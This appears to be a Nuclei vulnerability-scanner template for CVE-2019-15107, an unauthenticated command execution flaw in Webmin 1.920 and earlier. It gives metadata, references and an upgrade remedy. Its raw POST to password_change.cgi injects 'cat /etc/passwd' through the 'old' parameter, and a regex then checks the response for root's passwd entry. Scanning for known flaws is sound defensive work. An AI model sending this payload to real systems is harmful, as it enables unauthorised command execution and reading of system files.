id: CVE-2019-15107
info:
name: Webmin <= 1.920 - Unauthenticated Remote Command Execution
author: bp0lr
severity: critical
description: Webmin <=1.920. is vulnerable to an unauthenticated remote command execution via the parameter 'old' in password_change.cgi.
remediation: |
Upgrade to Webmin version 1.930 or later to mitigate this vulnerability.
reference:
- https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2019-15107
- https://www.exploit-db.com/exploits/47230
- http://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
- http://packetstormsecurity.com/files/154485/Webmin-1.920-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-15107
cwe-id: CWE-78
epss-score: 0.97528
epss-percentile: 0.99981
cpe: cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: webmin
product: webmin
tags: packetstorm,cve,cve2019,webmin,rce,kev,edb
http:
- raw:
#
- |
POST /password_change.cgi HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: {{BaseURL}}
Content-Type: application/x-www-form-urlencoded
user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
